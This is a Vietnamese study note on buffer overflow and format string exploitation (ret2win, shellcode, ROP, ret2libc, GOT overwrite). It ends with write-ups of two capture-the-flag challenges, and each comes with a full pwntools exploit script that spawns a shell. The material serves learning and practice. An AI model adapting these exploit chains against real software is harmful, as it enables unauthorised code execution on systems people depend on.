# Buffer overflow ## Buffer overflow là gì? Buffer overflow là lỗi xảy ra khi hệ thống cho nhập vào một biến nhiều data hơn kích thước nó được khai báo, làm cho dữ liệu có thể bị ghi đè không kiểm soát, dẫn đến những lỗ hổng bảo mật ## Các loại buffer overflow: 1. Stack buffer overflow Stack buffer overflow có thể xảy ra theo nhiều cách khác nhau: - Ghi đè lên các biến cục bộ ở gần những lỗ hổng stack buffer để làm thay đổi hoạt động của chương trình - Ghi đè lên các frame địa chỉ trả về của stack sau khi hàm return ... 2. Heap buffer overflow Heap là vùng nhớ được tạo ra để lưu trữ cho việc cấp phát động. Nó khác với stack ở cơ chế LIFO, ta có thể cấp phát ở mọi lúc. Kẻ tấn công có thể nhắm đến phá hủy các dữ liệu, làm cho chương trình ghi đè lên con trỏ danh sách liên kết và một số cấu trúc nội bộ khác. ## Một số kĩ thuật tấn công buffer overflow ### 1. Thay đổi giá trị biến nội bộ Giả sử ta có chương trình ```c= #include <stdio.h> int main(){ int a; char buf[16]; gets(buf); if (a == 0xdeadbeef){ print("You win!\n"); } } ``` Nhìn vào chương trình, ta thấy hàm gets không giới hạn số lượng nhập vào của người dùng, nên ta có lỗi buffer overflow ở đây. Vì vậy, ta có thể tạo ra một payload với giá trị bằng ```padding + giá trị của a```, chẳng hạn như **AAAAAAAAAAAAAAAA\xef\xbe\xad\xde** ### 2. Kĩ thuật ret2win Kĩ thuật này nhắm đến một hàm **win()** nào đó trong chương trình, nhưng hàm đó không được gọi trong main. Có 2 điều lưu ý ta cần xác định - Độ dài của padding đến khi ta bắt đầu "ghi đè" lên thanh ghi **rip** (bản chất là ghi đè lên địa chỉ trả về được pop và trỏ bởi **rip**) - Giá trị mà ta muốn ghi đè. ### 3. Dùng shellcode - Đôi lúc trong thực tế, không phải chương trình nào cũng có các hàm như hàm **win()** để ta có thể trỏ tới. Dùng shellcode là một trong những cách mà ta có thể thực hiện. - Mục tiêu của ta vẫn là ghi đè lên **rip** để nó có thể thực hiện các lệnh của chúng ta. Điều này xảy ra vì hầu hết các máy tính đều sử dụng [kiến trúc Von Neumann](https://en.wikipedia.org/wiki/Von_Neumann_architecture) , khi mà nó không phân biệt giữa data và instructions. - Để có thể thực hiện tấn công bằng shellcode (trên local), ta cần disable ASLR(Address Space Layout Randomisation). Nó cung cấp các nhớ ngẫu nhiên và có thể ảnh hưởng đến việc ta sử dụng shellcode. - Các quy trình thực hiện có thể làm như sau: Đầu tiên ta inject shellcode, trong khi thực hiện input. Thêm các padding và địa chỉ trả về shellcode của ta, sau khi chương trình thực hiện câu lệnh trả về, nó sẽ trỏ đến shellcode của chúng ta và thực thi chúng - Pwntools có hỗ trợ câu lệnh để tạo shell: **shellcraft.amd64.sh()** cho hệ 64-bit hoặc **shellcraft.i386.sh()** cho hệ 32-bit - Ta có thể thêm padding NOP (no operation) instruction trước phần shellcode để làm cho thanh ghi **rip** không làm gì cả và đến khi chạy đến phần địa chỉ shellcode của ta. - Ta cũng có thể dựa vào ROPchain để thực thi shellcode. Đây là kĩ thuật ret2shellcode không cần leak (địa chỉ của stack) - Với kĩ thuật ret2shellcode cần leak địa chỉ của stack, ta có thể nhập input để tràn đến địa chỉ của **rbp** đang trỏ đến, tại sao lại là **rbp**? Mình nhớ khi gọi đến một function nào đó, **rbp** sẽ nắm giữ địa chỉ base của stack để khi hàm return, **rsp** có thể quay về địa chỉ gốc. Giờ chỉ cần tính toán offset của địa chỉ shellcode tới stack để khi return, chương trình sẽ trỏ đến địa chỉ có chứa shellcode của chúng ta ### 4. ROPchain - ROP(Return-Oriented Programming) là kĩ thuật xâu chuỗi các đoạn code nhỏ ở trong file binary để điều khiển theo ý ta muốn - Gadgets là một đoạn code nhỏ có chứa **ret** instruction ở sau, chẳng hạn như **pop rdi; ret**. Ta có thể tìm các đoạn ROP gadgets bằng câu lệnh **ROPgadgets** - Bằng cách chọn ra một đoạn gadget nào đó, ta sẽ ghi đè thanh ghi **rip** với địa chỉ nào đó, chẳng hạn như địa chỉ của hàm mà ta muốn nhảy tới, hoặc một read-write section còn trống để sau đó gọi hàm **gets** hoặc **scanf** để giúp ta lấy shell - Đôi khi ta sẽ cần dùng đến những gadgets sẽ cho ta thực hiện gọi shell, bằng cách dùng lệnh **one_gadget** để tìm offset của chúng đối với địa chỉ gốc của **libc** - Để sử dụng ROPchain với lời gọi syscall (trong 64-bit), ta cần điều khiển các thanh ghi tương ứng theo ở [đây](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md), sau khi (có thể) tìm được các đoạn gadgets chứa chúng rồi gọi lời gọi hàm **execve** với tham số có chứa **/bin/sh**. - Một trong những kĩ thuật dùng ROP là **ret2libc**, nó dựa trên hàm **system** có trong thư viện của C, lệnh này sẽ thực hiện bất cứ thứ gì được nhập vào nó. Một trong số đó là chuỗi **/bin/sh** cũng được tìm thấy trong libc. Để có thể thực hiện, về cơ bản, ta cần tìm được địa chỉ base của libc, và những offsets tương ứng của **system** và **/bin/sh**. ### 5. ret2libc - Đôi khi ta có thể gặp các challenge mà địa chỉ **libc** đã nói ở trên không phải địa chỉ tĩnh, hay còn được gọi là **PIE(Position Independent executable)**, nên ta cần leak địa chỉ của nó - Một số thứ có thể sử dụng để khắc phục điều này là sử dụng bảng PLT và GOT - GOT (Global Offset Table) chứa địa chỉ của các hàm trong libc - PLT (Procedure Linkage Table) sẽ dùng để thực thi các hàm trong GOT khi được gọi đến. Ví dụ như với lời gọi **puts@plt**, nó sẽ gọi đến **puts@got.plt**. Có thể nói gọi PLT cũng giống như gọi chính hàm đó. Điều này giúp giảm bớt kích thước của chương trình - Ta có thể nhận ra được địa chỉ của libc được leak ra bởi vì địa chỉ base của một thực thi PIE luôn kết thúc bằng **000**, bởi vì các trang ngẫu nhiên trong bộ nhớ có kích thước trung bình là **0x1000**, nên ta chỉ cần để ý 3 số cuối của địa chỉ được leak ra - Địa chỉ của system, libc, ... có thể thay đổi nhưng offset của chúng không thay đổi. Nên với những bài địa chỉ libc thay đổi, ta cần leak địa chỉ của một hàm nào đó ra rồi từ đó tính base dựa vào offset ### 6. Stack pivot > (Phần này mình chưa tìm hiểu kĩ vì task đưa ra là làm về format string, mình sợ không đủ thời gian để giải :( ) # Format String ## 1. Tổng quan - Trong C, một số hàm nhất định có thể yêu cầu các format đặc biệt của string, ví dụ như hàm **printf()** có các format như là %d, %f, %n, %x, ... Nhưng ta sẽ đi tập trung vào các format quan trọng là %p, %s, %c và %n: - %p sẽ nhận đối số là một địa chỉ và in ra data mà con trỏ của địa chỉ đó trỏ tới dưới dạng hexa. - %s sẽ in ra địa chỉ con trỏ được truyền vào đang trỏ tới và dừng khi nào gặp null byte (0x00) - %c sẽ đọc một kí tự (1 byte) (ví dụ như địa chỉ của biến b là 0x007fffffffdf1c và biến b có giá trị là 1337 - dạng hexa là 0x539 thì khi dùng %c rồi truyền vào tham số là &b, ta sẽ được 0x1c và tương tự đối với giá trị sẽ là 0x39). - %n nhận đối số là một địa chỉ và nó sẽ đếm **số lượng** các bytes được in ra trước nó rồi lưu vào giá trị của địa chỉ đó - Khi không đủ tham số truyền vào (chẳng hạn như câu lệnh **printf("%p")**) thì tùy vào chương trình là 32-bit hay 64-bit, thì việc in ra sẽ là khác nhau - Ở 32-bit, khi ta truyền vào các tham số thì dữ liệu được đẩy trực tiếp vào stack - Ở 64-bit, khi ta truyền vào dữ liệu thì dữ liệu được đẩy vào 6 thanh ghi đầu tiên theo thứ tự **rdi, rsi, rdx, r10, r8, r9** nhưng **rdi** sẽ giữ chuỗi input vào, nên **%p** đầu tiên sẽ in ra bắt đầu từ thanh ghi **rsi**, nên dữ liệu ở trên stack sẽ bắt đầu từ **%p** thứ 6. Ngoài ra để thuận tiện, ta có thể kết hợp các padding và dạng rút gọn của format để rút ngắn các câu lệnh. ## 2. Leak dữ liệu sử dụng %p và %s - **Leak dữ liệu sử dụng %p** - Với những chương trình có lưu dữ liệu ở trên stack, ta có thể dùng fomat **%<number>$p** để có thể leak dữ liệu ở trên đó, bằng cách xác định **number** dựa vào vị trí của data trên stack. - **Leak dữ liệu sử dụng %s** - Cách làm cũng gần tương tự như **$p**, chỉ khác là **%s** sẽ in ra giá trị của con trỏ trỏ tới, không phải địa chỉ, có thể là một chuỗi nào đó. ## 3.Sử dụng %n để ghi dữ liệu - Khi trong chương trình xuất hiện việc yêu cầu thay đổi giá trị biến nhập vào để có thể đạt được mục đích mà ta muốn. Khi đó một cách mà ta có thể nghĩ tới là sử dụng **%n** kết hợp với **%c**. Bởi vì **%n** sẽ đếm những bytes đã in ra trước nó, nên khi biết địa chỉ của biến cần thay đổi, ta có thể thay đổi nó. - Ta không dùng **%s** hay **%p** bởi vì tính ngẫu nhiên của nó, có thể in ra số byte không cố định nên ta dùng **%c** ## 4. Kết hợp với buffer overflow - Có những trường hợp ta cần leak địa chỉ quan trọng trong trường hợp địa chỉ động(địa chỉ **canary, libc, rip, ...**) nên ta sẽ dùng format string để leak các địa chỉ đó và tính toán offset, từ đó ta có thể ghi đè thanh ghi **rip** để nó return về những địa chỉ ta mong muốn. ## 5. Overwrite GOT - Cách này, ta có thể dùng **%n** như đã nói bên trên để thay đổi GOT của của một hàm nào đó. Ví dụ như khi bug format string xảy ra ở hàm **printf**, ta có thể xem **PLT** của nó resolve đến địa chỉ nào trong **GOT**, từ đó, ta dùng **%n** để thay đổi địa chỉ được resolve đến, chẳng hạn như thay đổi thành địa chỉ của hàm **system** trong GOT. Từ đó thay đổi được luồng thực thi của chương trình ... ## Chal1: Format string Trước hết ta sẽ decompile bằng ida64 để xem source code chạy ra sao: ![image](https://hackmd.io/_uploads/SJuyG34kkx.png) :::success Phân tích: - Buffer được khởi tạo 32 bytes, và được nhập vào 32 bytes bằng hàm read nên không có lỗi buffer overflow. - Hàm printf in ra chuỗi nhập vào đầu tiên nhưng lại không có định dạng => lỗi format string. - Tiếp theo là input một string nào đó và hàm **puts** in ra. ::: > Ý tưởng: Bởi vì sau hàm **puts** sẽ lấy đối số là chuỗi ta nhập vào, nên ta có thể bằng cách nào đó làm nó thực thi hàm **system**, để khi đó hàm **system** sẽ thực thi chuỗi ta nhập vào, chẳng hạn '/bin/sh' và cho ta shell. Nên ý tưởng là ta sẽ overwrite GOT của hàm puts với PLT của system. Hãy thử debug để xem địa chỉ ta cần overwrite sẽ nằm ở đâu. ![image](https://hackmd.io/_uploads/rJnM4nN1ke.png) Nhập vào chuỗi fmt **%p** đầu tiên ![image](https://hackmd.io/_uploads/r12rV24J1e.png) Đối với hệ 64-bit, các đối số được đẩy vào 6 thanh ghi đầu tiên **rdi, rsi, rdx, r10, r8, r9** rồi mới vào stack. Nên địa chỉ stack sẽ bắt đầu từ **%6$p** (hàm puts cũng là một đối số). Xem thông tin trên stack ![image](https://hackmd.io/_uploads/B1UCNhVJkg.png) Có vẻ địa chỉ 0x00007fffffffe278 sẽ là nơi ta thực hiện overwrite. Dễ dàng tính được địa chỉ đó sẽ ứng với **%9$p**. Giờ ta sẽ sang bước tiếp theo là viết payload để overwrite. Payload: ```python= puts_got = elf.got['puts'] # print(hex(puts_got)) #0x403318 system_plt = elf.plt['system'] #print(hex(system_plt)) #0x401094 dif = system_plt & 0xffff payload = f'%{dif}c%9$hn'.encode() payload = payload.ljust(0x18, b'P') payload += p64(puts_got) ``` :::info Giải thích: - Ta sẽ tìm địa chỉ GOT của puts và PLT của system. Để khi hàm puts được gọi đến, nó sẽ trỏ đến PLT của system và thực thi hàm system - Như đã thấy, đây là địa chỉ tĩnh, nên ta thấy rằng hai địa chỉ khác nhau ở 2 byte cuối. Ta sẽ sử dụng biến dif để lưu 2 bytes cuối đó. - Như đã phân tích ở trên, địa chỉ cần overwrite sẽ nằm ở địa chỉ thứ 9. Nên ta cần padding thêm để địa chỉ của chúng không bị chia tách khi đẩy vào stack. Kích thước 0x18 sẽ là hợp lý vì nó sẽ padding đến địa chỉ ta cần. **%{dif}c** sẽ in ra **dif** bytes và **%9$hn** sẽ dùng để overwrite 2 bytes cuối ở địa chỉ ta cần overwrite. - Cuối cùng là địa chỉ GOT cần overwrite của puts. ::: Chạy và ta sẽ có được shell. ![image](https://hackmd.io/_uploads/Skf3D24J1e.png) Tham khảo: [Tấn công bảng GOT - JHT](https://www.youtube.com/watch?v=ZosW20QjET8&list=PLEvZsp0uc3SFuVi6TtcahxqsEbV29lXAM&index=19) [GOT overwrite](https://infosecwriteups.com/got-overwrite-bb9ff5414628) :::success Cùng với sự giúp đỡ của Lực và mentor Việt ::: ## Chal2: Buffer overflow Đọc tên challenge, ta có thể thấy nó liên quan đến buffer overflow (over) và số thực(float). > Unzip file đã cho ta nhận được 2 file: **libc-2.27.so** và file binary **overfloat**. Pwninit để patch 2 file đó và ta nhận được một template **solve.py** và file binary đã patch **overfloat_patched**. Dùng IDA64 để decompile: :::info Hàm main: ::: ```c= int __fastcall main(int argc, const char **argv, const char **envp) { char s[48]; // [rsp+10h] [rbp-30h] BYREF setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); alarm(0x1Eu); __sysv_signal(14, timeout); puts( " _ .--. \n" " ( ` ) \n" " .-' `--, \n" " _..----.. ( )`-. \n" " .'_|` _|` _|( .__, )\n" " /_| _| _| _( (_, .-' \n" " ;| _| _| _| '-'__,--'`--' \n" " | _| _| _| _| | \n" " _ || _| _| _| _| \n" " _( `--.\\_| _| _| _|/ \n" " .-' )--,| _| _|.` \n" " (__, (_ ) )_| _| / \n" " `-.__.\\ _,--'\\|__|__/ \n" " ;____; \n" " \\YT/ \n" " || \n" " |\"\"| \n" " '==' \n" "\n" "WHERE WOULD YOU LIKE TO GO?"); memset(s, 0, 0x28uLL); chart_course(s); puts("BON VOYAGE!"); return 0; } ``` Phân tích hàm **main**: Hàm sẽ khởi tạo biến **s** với kích thước 48 bytes và sau sẽ sử dụng làm đối số của hàm **chart_course**. Hàm **memset** sẽ set **0x28** bytes đầu của **s** thành 0. Cuối cùng là hàm **puts** để in ra thông báo khi hàm **chart_course** đã thực thi xong. :::info Hàm chart_course: ::: ```c= __int64 __fastcall chart_course(__int64 a1) { __int64 result; // rax float v2; // xmm1_4 char s[104]; // [rsp+10h] [rbp-70h] BYREF float v4; // [rsp+78h] [rbp-8h] int i; // [rsp+7Ch] [rbp-4h] for ( i = 0; ; ++i ) { if ( (i & 1) != 0 ) printf("LON[%d]: ", (unsigned int)(i / 2 % 10)); else printf("LAT[%d]: ", (unsigned int)(i / 2 % 10)); fgets(s, 100, stdin); if ( !strncmp(s, "done", 4uLL) ) break; v2 = atof(s); v4 = v2; memset(s, 0, 0x64uLL); *(float *)(4LL * i + a1) = v4; LABEL_9: ; } result = i & 1; if ( (i & 1) != 0 ) { puts("WHERES THE LONGITUDE?"); --i; goto LABEL_9; } return result; } ``` - Biến **s** trước đó của ta sẽ biến thành biến **a1**. Hàm **chart_course** sẽ cho ta một vòng **for** nhưng lại không giới hạn kích thước i chạy. Sau đó hàm sẽ cho ta nhập tọa độ **LON** và **LAT** theo từng cặp. Nếu thiếu **LON**, **LABEL_9** sẽ warning cho ta và để ta nhập vào tọa độ đó. - Điều kiện ```c= if ( !strncmp(s, "done", 4uLL) ) break; ``` sẽ check để ta kết thúc vòng lặp bằng cách nhập **done**. - Và cuối cùng ```c= v2 = atof(s); v4 = v2; memset(s, 0, 0x64uLL); *(float *)(4LL * i + a1) = v4; ``` **v2** sẽ chuyển tọa độ ta nhập vào ra float, và lưu vào **v4**. Reset **s** để cho vòng lặp sau. Cuối cùng **v4** sẽ được lưu vào **a1** (chuỗi ban đầu ở hàm main) với kích thước 4 bytes một. Ví dụ như chuỗi **a1** có 48 bytes, thì đầu tiên **v4** sẽ được lưu từ 0-3, tiếp theo là 4-7, ... Lỗi buffer overflow xảy ra ở đây. Khi mà chương trình cho ta nhập không giới hạn kích thước của **i** mà kích thước của **a1** chỉ có 48 bytes. :::info Ý tưởng: - Bởi vì mục tiêu của ta là lấy được shell, mà ở đây lại có lỗi buffer overflow nên ta sẽ có thể overflow đến địa chỉ mà **rip** trỏ tới, từ đó **rip** sẽ thưc hiện đoạn lệnh đó cho ta. Và mình nghĩ đến one gadget > One gadget là một gadget đặc biệt trong thư viện libc mà nếu thỏa mãn một số điều kiện cụ thể, nó sẽ cho ta thực thi một lệnh gọi hệ thống(**system("/bin/sh")**, **execve("/bin/sh"), ...**) - Để có thể tìm được địa chỉ của one gadget, ta cần địa chỉ base của libc. Nhưng địa chỉ base của libc này lại thay đổi với mỗi lần ta chạy chương trình, nên ta cần leak địa chỉ của một hàm nào đó trong libc rồi tính toán base dựa vào offset của hàm đó đối với base, bởi vì offset sẽ không bị thay đổi như đã nói ở phương pháp ret2libc bên trên. ::: Dựa vào ý tưởng, ta cần chạy hàm **chart_course** 2 lần: Lần 1 để leak địa chỉ của một hàm nào đó trong libc và tính toán base, lần 2 sẽ dùng để thực hiện one gadget. ### 1. Tạo format cho input - Bởi vì input chỉ chấp nhận ở dưới dạng float, nên ta phải format lại để chuyển hex sang float. Dựa vào [link1](https://stackoverflow.com/questions/1592158/convert-hex-to-float), [link2](https://stackoverflow.com/questions/64569871/understanding-pythons-struct-pack-unpack-functions), ta sẽ có hàm để gửi input dạng hex như sau: ```python= def to_float(s): return struct.unpack('f', s)[0] def send_data(data): part1 = data & ((2**32) - 1) part2 = data >> 32 part1_bytes = struct.pack('I', part1) part2_bytes = struct.pack('I', part2) r.sendline(str(to_float(part1_bytes))) r.sendline(str(to_float(part2_bytes))) ``` > Giải thích: - **struct.pack()** sẽ chuyển về dạng 4-bytes hexa. - Bởi vì source code chỉ lưu 4 bytes một lần vào **a1** mỗi vòng lặp nên ta cần chia làm 2 phần, lần đầu là gửi 4 bytes đầu và 4 bytes cuối (chú ý sau khi pack, thứ tự bytes sẽ theo thứ tự big endianess nên 4 bytes đầu sẽ ở vị trí 4 byte cuối và ngược lại) - 4 bytes sẽ tương ứng với 32 bytes, dùng hàm AND với 2**32 - 1 (tương ứng với 0xffffffff) ta sẽ lấy được 4 bytes cuối, và tiếp theo là shift 32 bit, ta sẽ lấy được 4 bytes đầu - Gửi dữ liệu sau khi chuyển về float với hàm **to_float()** ### 2. Chuyển hướng chương trình. Giờ ta sẽ tìm cách chuyển hướng chương trình để có thể thực thi hàm **chart_course** lại lần 2. Và ta chỉ cần làm cho thay vì return về địa chỉ đã lưu trước khi gọi hàm, ta sẽ cho nó gọi về địa chỉ bắt đầu của main. Trong khi đó, ta đồng thời leak địa chỉ của một hàm nào đó trong libc để sau tính toán được base của libc. Mình sẽ chọn hàm **puts()**. Để có thể thay đổi luồng thực thi, mình sẽ sử dụng ROPgadget để tìm được 1 gadget để giúp mình thực hiện return về đầu hàm main. Mình sẽ chọn đoạn gadget **pop rdi; ret** vì đó là gadget cơ bản ![image](https://hackmd.io/_uploads/SJWC76N11l.png) Địa chỉ **pop_rdi** là **0x0000000000400a83** Script: ```python= #!/usr/bin/env python3 from pwn import * import struct exe = ELF("./overfloat_patched") libc = ELF("./libc-2.27.so") ld = ELF("./ld-2.27.so") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("addr", 1337) return r def main(): r = conn() #good luck pwning :) def to_float(s): return struct.unpack('f', s)[0] def send_data(data): part1 = data & ((2**32) - 1) part2 = data >> 32 part1_bytes = struct.pack('I', part1) part2_bytes = struct.pack('I', part2) r.sendline(str(to_float(part1_bytes))) r.sendline(str(to_float(part2_bytes))) #input() pop_rdi = 0x400a83 # pop rdi, ret main_addr = 0x400993 puts_plt = 0x400690 # exe.plt['puts'] puts_got = 0x602020 # exe.got['puts'] input() # print(hex(exe.plt['puts'])) r.recvuntil(b"LAT[0]: ") padding = b'12.078431129455566' #b'AAAA' for i in range(14): r.sendline(padding) send_data(pop_rdi) send_data(puts_got) send_data(puts_plt) send_data(main_addr) r.sendline(b'done') r.readuntil(b'BON VOYAGE!\n') r.interactive() if __name__ == "__main__": main() ``` Sau khi chạy, ta có thể thấy địa chỉ của **puts** sẽ nằm ở đây ![image](https://hackmd.io/_uploads/HJuaBpEJJe.png) ![image](https://hackmd.io/_uploads/Bygk8TN1Jx.png) Địa chỉ **puts** leak ra (ở lần chạy này) là **0x725e51e809e0**. Để lấy được địa chỉ đó và chuyển thành format ta mong muốn, ta sẽ làm như sau: ```python= libc_leak = r.recv(6) libc_leak_formatted = u64(libc_leak+b"\x00"*(8 - len(libc_leak))) ``` Cuối cùng là tính toán địa chỉ base của libc ```python= libc_base = libc_leak_formatted - libc.symbols['puts'] ``` Thử in ra và check: ```python3= libc_leak = r.recv(6) libc_leak_formatted = u64(libc_leak+b"\x00"*(8 - len(libc_leak))) libc_base = libc_leak_formatted - libc.symbols['puts'] print(f"Leak: {hex(libc_leak_formatted)}, base = {hex(libc_base)}") ``` ![image](https://hackmd.io/_uploads/B1i0LTEJJe.png) Địa chỉ base kết thúc bằng 0000. Vậy là ta đã tính toán đúng. ### 3. Thực thi one gadget Giờ ta đã có địa chỉ base, ta có thể dễ dàng tính ra địa chỉ của one gadget. Tìm các offset của one gadget trong libc đã cho: ![image](https://hackmd.io/_uploads/Hyk8H6Ekkl.png) Có 4 one_gadget ta có thể sử dụng: **0x4f2be**, **0x4f2c5**, **0x4f322**, **0x10a38c**. Giờ chỉ cần thực hiện payload lại lần nữa và thay vì gửi địa chỉ **pop_rdi**, ta gửi địa chỉ của one gadget trong libc và khi return, chương trình sẽ cho ta shell. Script: ```python= onegadget_offset = 0x10a38c for i in range(0, 14): r.sendline(padding) onegadget = libc_base + onegadget_offset print(f"One gadget address: {hex(onegadget)}") send_data(onegadget) r.sendline(b'done') r.readuntil(b'BON VOYAGE!\n') ``` Final script: ```python= #!/usr/bin/env python3 from pwn import * import struct exe = ELF("./overfloat_patched") libc = ELF("./libc-2.27.so") ld = ELF("./ld-2.27.so") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("addr", 1337) return r def main(): r = conn() #good luck pwning :) def to_float(s): return struct.unpack('f', s)[0] def send_data(data): part1 = data & ((2**32) - 1) part2 = data >> 32 part1_bytes = struct.pack('I', part1) part2_bytes = struct.pack('I', part2) r.sendline(str(to_float(part1_bytes))) r.sendline(str(to_float(part2_bytes))) #input() #payload = b'12.078431129455566' onegadget_offset = 0x10a38c # Co the su dung 0x4f2c5 pop_rdi = 0x400a83 # pop rdi, ret main_addr = 0x400993 puts_plt = 0x400690 # exe.plt['puts'] puts_got = 0x602020 # exe.got['puts'] input() # print(hex(exe.plt['puts'])) r.recvuntil(b"LAT[0]: ") padding = b'12.078431129455566' for i in range(14): r.sendline(padding) send_data(pop_rdi) send_data(puts_got) send_data(puts_plt) send_data(main_addr) # libc_base = puts_got - libc.sym['puts'] r.sendline(b'done') r.readuntil(b'BON VOYAGE!\n') libc_leak = r.recv(6) libc_leak_formatted = u64(libc_leak+b"\x00"*(8 - len(libc_leak))) libc_base = libc_leak_formatted - libc.symbols['puts'] print(f"Leak: {hex(libc_leak_formatted)}, base = {hex(libc_base)}") for i in range(0, 14): r.sendline(padding) onegadget = libc_base + onegadget_offset print(f"One gadget address: {hex(onegadget)}") send_data(onegadget) r.sendline(b'done') r.readuntil(b'BON VOYAGE!\n') r.interactive() if __name__ == "__main__": main() ``` Nếu thử từng one gadget, ta sẽ chỉ có 2 one_gadget có thể thực hiện được như đã ghi trong script. Chạy chương trình và ta nhận được shell ![image](https://hackmd.io/_uploads/HJHe_pE11e.png) ![image](https://hackmd.io/_uploads/SJs-_TEk1x.png) ![image](https://hackmd.io/_uploads/ByBXdaVJJl.png) > Vì hàm **main()** có set timer ```c= alarm(0x1Eu); ``` nên sau một lúc lấy được shell, nếu không tương tác sẽ bị EOF. Tham khảo: [Buffer Overflow - ret2libc - Youtube JHT](https://www.youtube.com/watch?v=XX9sA90xN64&list=PLEvZsp0uc3SFuVi6TtcahxqsEbV29lXAM&index=7)